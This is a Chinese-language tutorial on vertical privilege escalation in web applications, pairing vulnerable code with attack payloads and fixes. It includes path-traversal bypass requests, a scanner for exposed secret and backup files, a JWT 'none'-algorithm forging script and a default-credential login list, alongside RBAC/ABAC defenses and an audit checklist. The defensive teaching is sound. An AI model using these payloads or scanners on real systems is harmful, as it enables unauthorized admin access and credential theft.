一、垂直越权基础

1.1 与水平越权的区别

水平越权(IDOR):同层级用户之间
  User A (普通) ──访问──▶ User B (普通) 的数据
  两者权限级别相同

垂直越权:低权限用户提升为高权限
  User A (普通) ──提升──▶ Admin (超级管理员)
  跨越了权限层级

1.2 权限模型基础

常见角色层级:

Super Admin ───────────── 拥有所有权限
  │
  ├── Admin ────────────── 管理用户、配置系统
  │     │
  │     ├── Manager ────── 管理团队数据
  │     │     │
  │     │     └── User ─── 普通员工,只可操作自己的数据
  │     │
  │     └── Auditor ────── 只读访问所有审计日志
  │
  └── Guest ────────────── 最低权限,仅查看公开信息

权限 = 角色 + 权限策略 + 资源范围

二、垂直越权路径一:前端隐藏功能可直接调用

2.1 漏洞原理

开发假设"前端不展示 = 用户无法访问",但前端只是界面,真正的安全边界在后端。

2.2 案例:隐藏的管理按钮

// 前端代码
function App() {
  const [userRole, setUserRole] = useState('user');

  return (
    <div>
      <UserDashboard />
      {userRole === 'admin' && <AdminPanel />}
      {/* 🔴 前端隐藏,但后端没校验 */}
    </div>
  );
}

// 攻击者直接用 curl 调用管理接口
curl -X POST https://api.example.com/admin/user/delete   -H "Authorization: Bearer my_user_token"   -H "Content-Type: application/json"   -d '{"user_id": 1}'

2.3 修复

# 后端强制校验角色
from functools import wraps

def require_role(*roles):
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            current_user = get_current_user()
            if current_user.role not in roles:
                raise HTTPException(
                    status_code=403,
                    detail=f'requires role: {", ".join(roles)}'
                )
            return f(*args, **kwargs)
        return wrapper
    return decorator

@app.post('/admin/user/delete')
@require_role('admin', 'super_admin')
def delete_user(user_id: int):
    # ...

三、垂直越权路径二:API 路径遍历

3.1 漏洞描述

服务端通过 URL 路径中的角色来控制访问,但路径遍历可以绕过。

3.2 脆弱实现

# Nginx 配置
location ~ ^/api/(user|admin|super)/(.+) {
    set $role $1;
    set $path $2;
    # 🔴 只检查第一个路径段,没有校验用户实际角色
    proxy_pass http://backend/$role/$path;
}

3.3 攻击 Payload

# 绕过路径过滤,直接访问管理接口
GET /api/admin/../super/user/list
GET /api/user/admin/user/list
GET /api/admin%2fuser%2flist
GET /api/admin..;/user/list

3.4 Java 过滤器绕过(历史案例)

// 脆弱的过滤器逻辑
if (request.getRequestURI().startsWith("/admin/")) {
    // 要求 admin 角色
    requireRole("admin");
}

// 攻击者的请求:
// GET /..;/admin/user/list
// 某些 Servlet 容器会把 "..;/" 解析为 "/"
// 过滤器匹配失败,直接放行
// 但实际转发路径变成了 /admin/user/list

3.5 防御

from flask import request

def get_route_role():
    # 从干净的路由表中查找所需角色,而非信任 URL 路径
    route = request.url_rule.rule
    return ROUTE_ROLE_MAP.get(route, 'user')

# ROUTE_ROLE_MAP 由路由装饰器自动填充
ROUTE_ROLE_MAP = {}

def role_required(role):
    def decorator(f):
        ROUTE_ROLE_MAP[f'/api/{f.__name__}'] = role
        @wraps(f)
        def wrapper(*args, **kwargs):
            current_user = get_current_user()
            if current_user.role != role:
                abort(403)
            return f(*args, **kwargs)
        return wrapper
    return decorator

四、垂直越权路径三:HTTP 方法替换

4.1 漏洞描述

某些端点只配置了特定 HTTP 方法的权限控制,其他方法未保护。

4.2 案例

# GET 被保护了(需要 admin)
GET /api/admin/settings → 403 Forbidden

# 但 PUT/PATCH/OPTIONS 没有保护
PUT /api/admin/settings
Content-Type: application/json

{"feature_flag_x": true}
# 返回 200 OK!

4.3 工具测试

# 使用 Metasploit 的 auxiliary scanner
use auxiliary/scanner/http/http_put

# 或者直接用 curl 测试所有方法
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
  echo "=== $method ==="
  curl -s -X "$method" https://api.example.com/admin/endpoint -o /dev/null -w "%{http_code}
"
done

4.4 防御

# 对所有方法统一做权限校验
@app.route('/admin/settings', methods=['GET', 'PUT', 'PATCH', 'DELETE'])
@require_role('admin')  # 不指定方法,装饰器对所有 HTTP 方法都生效
def admin_settings():
    # ...

五、垂直越权路径四:未授权的功能入口

5.1 常见场景

  • 备份文件直接可下载:/backup.sql/.env.bak/config.json
  • 调试端点未关闭:/debug/actuator/status/console
  • Swagger/API 文档暴露:/swagger-ui.html/api-docs
  • 管理脚本可访问:/install.php/setup
  • 版本升级脚本可执行:/upgrade.php

5.2 扫描脚本

import requests
import threading

COMMON_UNAUTHORIZED_PATHS = [
    '/.env', '/.env.bak', '/.env.example',
    '/config', '/config.json', '/config.yml', '/config.yaml',
    '/backup', '/backup.sql', '/db.sql', '/dump.sql',
    '/debug', '/debug/pprof', '/actuator', '/actuator/env', '/actuator/heapdump',
    '/swagger-ui.html', '/swagger-ui/', '/api-docs', '/openapi.json',
    '/console', '/admin-console', '/management', '/jenkins',
    '/.git/config', '/.git/HEAD', '/.svn/entries', '/.DS_Store',
    '/install.php', '/setup.php', '/upgrade.php',
    '/phpinfo.php', '/test.php', '/info.php',
    '/server-status', '/server-info',
    '/wp-admin', '/wp-login.php',
]

def check_path(base_url: str, path: str, results: list):
    try:
        resp = requests.get(f'{base_url}{path}', timeout=5, allow_redirects=False)
        if resp.status_code == 200 and len(resp.content) > 100:
            results.append({
                'path': path,
                'size': len(resp.content),
                'content_type': resp.headers.get('content-type'),
            })
            print(f"[!] {base_url}{path} → {resp.status_code} ({len(resp.content)} bytes)")
    except:
        pass

def scan_unauthorized(base_url: str):
    results = []
    threads = []
    for path in COMMON_UNAUTHORIZED_PATHS:
        t = threading.Thread(target=check_path, args=(base_url, path, results))
        t.start()
        threads.append(t)

    for t in threads:
        t.join()

    print(f"
[+] Found {len(results)} potentially unprotected paths on {base_url}")
    return results

六、垂直越权路径五:角色字段可被客户端修改

6.1 脆弱实现

// 反序列化用户对象时直接信任请求中的角色字段
@PostMapping("/api/users/profile")
public ResponseEntity<?> updateProfile(@RequestBody UserDTO userDTO, Authentication auth) {
    User currentUser = userService.findById(auth.getName());

    // 🔴 把客户端传来的 role 直接写回数据库
    currentUser.setRole(userDTO.getRole());
    currentUser.setEmail(userDTO.getEmail());

    userService.save(currentUser);
    return ResponseEntity.ok().build();
}

6.2 攻击 Payload

POST /api/users/profile
Content-Type: application/json

{
  "username": "attacker",
  "email": "attacker@evil.com",
  "role": "super_admin",
  "is_active": true,
  "permissions": ["*"]
}

6.3 防御

// 使用 @JsonIgnore 或手动白名单字段
@Entity
@Table(name = "users")
public class User {
    @Column(nullable = false)
    @JsonIgnore  // 🔴 忽略 JSON 中的 role 字段
    private String role;

    @JsonIgnore
    private Set<String> permissions;

    private String email;
    private String name;
    // ... 只允许修改普通字段
}

// 或者使用 DTO 做字段白名单
public record UserUpdateDTO(
    @NotBlank String email,
    @NotBlank String name
    // role, permissions 等敏感字段不在 DTO 中
) {}

七、垂直越权路径六:JWT 中的角色字段篡改

7.1 脆弱实现

// 🔴 客户端自己生成 JWT,服务端只解析不校验
app.get('/api/admin', (req, res) => {
  const token = req.headers.authorization.replace('Bearer ', '');
  const payload = jwt.decode(token); // 没有 verify!

  if (payload.role === 'admin') {
    res.json({ adminData: '...' });
  } else {
    res.status(403).send('forbidden');
  }
});

7.2 攻击脚本

import jwt
import json
import base64

# 方案一:None 算法伪造(如果服务端允许)
header = json.dumps({"alg": "none", "typ": "JWT"}).encode()
payload = json.dumps({
    "sub": "attacker",
    "role": "super_admin",
    "permissions": ["*"],
    "iat": 1700000000,
    "exp": 1999999999,
}).encode()

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# 空签名
none_token = f"{b64url(header)}.{b64url(payload)}."
print(f"[+] None algorithm token: {none_token}")

# 方案二:如果知道密钥,直接修改 payload
SECRET = "known_or_cracked_secret"
forged = jwt.encode(
    {"sub": "attacker", "role": "super_admin"},
    SECRET,
    algorithm="HS256",
)
print(f"[+] Forged token: {forged}")

7.3 防御

// ✅ 使用 jwt.verify,不使用 jwt.decode
const { payload } = jwt.verify(token, SECRET, { algorithms: ['HS256'] });

// 同时,角色应该在服务端校验,而不是信任 token 中的 role 字段
app.get('/api/admin', (req, res) => {
  const { sub } = jwt.verify(token, SECRET, { algorithms: ['HS256'] });
  const user = db.users.findById(sub);

  if (user.role !== 'admin') {
    return res.status(403).send('forbidden');
  }
  res.json({ adminData: '...' });
});

八、垂直越权路径七:配置文件与默认凭据

8.1 常见默认凭据

应用 用户名 密码
Jenkins admin admin
Tomcat Manager tomcat tomcat
phpMyAdmin root (空)
MongoDB admin admin
Redis (无密码) -
Swagger UI - -

8.2 扫描脚本

import requests

DEFAULT_CREDENTIALS = {
    '/manager/html': [
        ('tomcat', 'tomcat'),
        ('admin', 'admin'),
        ('admin', ''),
        ('root', 'root'),
    ],
    '/jenkins/': [
        ('admin', 'admin'),
        ('admin', ''),
        ('root', '123456'),
    ],
    '/phpmyadmin/': [
        ('root', ''),
        ('root', 'root'),
        ('admin', 'admin'),
    ],
}

def test_basic_auth(url: str, creds: list):
    for user, passwd in creds:
        resp = requests.get(url, auth=(user, passwd), timeout=5)
        if resp.status_code == 200:
            print(f"[!] Vulnerable! {url} with {user}:{passwd}")
            return True
    return False

九、垂直越权防御体系

9.1 RBAC(基于角色的访问控制)

# 角色 → 权限 → 资源
PERMISSIONS = {
    'user': ['profile:read', 'profile:update', 'order:create', 'order:read:own'],
    'manager': ['user:read:team', 'order:read:team', 'report:read'],
    'admin': ['user:read', 'user:update', 'user:delete', 'order:*', 'system:config'],
    'super_admin': ['*'],
}

# 权限检查装饰器
def require_permission(permission: str):
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            current_user = get_current_user()
            user_perms = PERMISSIONS.get(current_user.role, [])

            if '*' in user_perms:
                return f(*args, **kwargs)

            if permission not in user_perms:
                # 检查通配符匹配
                parts = permission.split(':')
                for p in user_perms:
                    p_parts = p.split(':')
                    if len(p_parts) == len(parts):
                        if all(a == b or b == '*' for a, b in zip(parts, p_parts)):
                            return f(*args, **kwargs)

                raise HTTPException(status_code=403, detail='permission denied')

            return f(*args, **kwargs)
        return wrapper
    return decorator

# 使用
@app.post('/api/admin/users/{user_id}/role')
@require_permission('user:update')
def change_role(user_id: int, new_role: str):
    # ...

9.2 ABAC(基于属性的访问控制)

更灵活的策略引擎:

def can_access(user: User, action: str, resource: Resource) -> bool:
    """
    基于属性判断权限
    user: 当前用户属性(角色、部门、等级、ip等)
    action: 要执行的动作
    resource: 目标资源属性(所有者、分类、密级等)
    """
    rules = [
        # 规则1:超级管理员可以做任何事
        {
            'condition': lambda u, a, r: u.role == 'super_admin',
            'effect': True,
        },
        # 规则2:普通用户只能访问自己的资源
        {
            'condition': lambda u, a, r: (
                u.role == 'user'
                and resource.owner_id == u.id
                and a in ('read', 'update', 'delete')
            ),
            'effect': True,
        },
        # 规则3:经理可以读团队内的资源
        {
            'condition': lambda u, a, r: (
                u.role == 'manager'
                and a == 'read'
                and resource.team_id in u.managed_teams
            ),
            'effect': True,
        },
        # 规则4:敏感数据需要额外验证
        {
            'condition': lambda u, a, r: (
                resource.classification == 'confidential'
                and u.security_clearance >= 3
            ),
            'effect': True,
        },
    ]

    for rule in rules:
        if rule['condition'](user, action, resource):
            return rule['effect']

    return False  # 默认拒绝

9.3 API 网关层拦截

# Kong / APISIX 等网关配置
plugins:
  - name: openid-connect
    config:
      role_claim: roles
      required_roles:
        - admin
  - name: cors
    config:
      origins:
        - https://trusted-frontend.example.com

十、审计清单

  • 所有敏感接口是否都有后端角色校验
  • 是否对所有 HTTP 方法都做了权限检查
  • 是否限制了文件 /admin /debug 等敏感路径
  • API 文档和调试端点是否生产环境关闭
  • 是否有字段白名单防止角色被篡改
  • JWT 中的敏感字段是否在服务端重新验证
  • 是否修改了所有默认凭据
  • 是否建立了 RBAC/ABAC 权限模型
  • 是否有 API 网关做统一认证授权
  • 是否定期做权限渗透测试

十一、总结

垂直越权本质是后端缺少强制的权限检查。防御的核心是建立纵深防御

  1. 网关层:API 认证、基础角色检查
  2. 中间件层:统一的权限拦截
  3. 业务层:细粒度的 RBAC/ABAC 策略
  4. 数据层:多租户隔离和行级安全

每一层都不能少,任何一层遗漏都可能被攻击者突破。

十二、参考资料

  • OWASP Broken Access Control
  • PortSwigger Access Control Vulnerabilities
  • NIST SP 800-162: Access Control Policy
  • RBAC vs ABAC 对比白皮书
  • CWE-269: Improper Privilege Management
  • Bugcrowd Privilege Escalation Writeups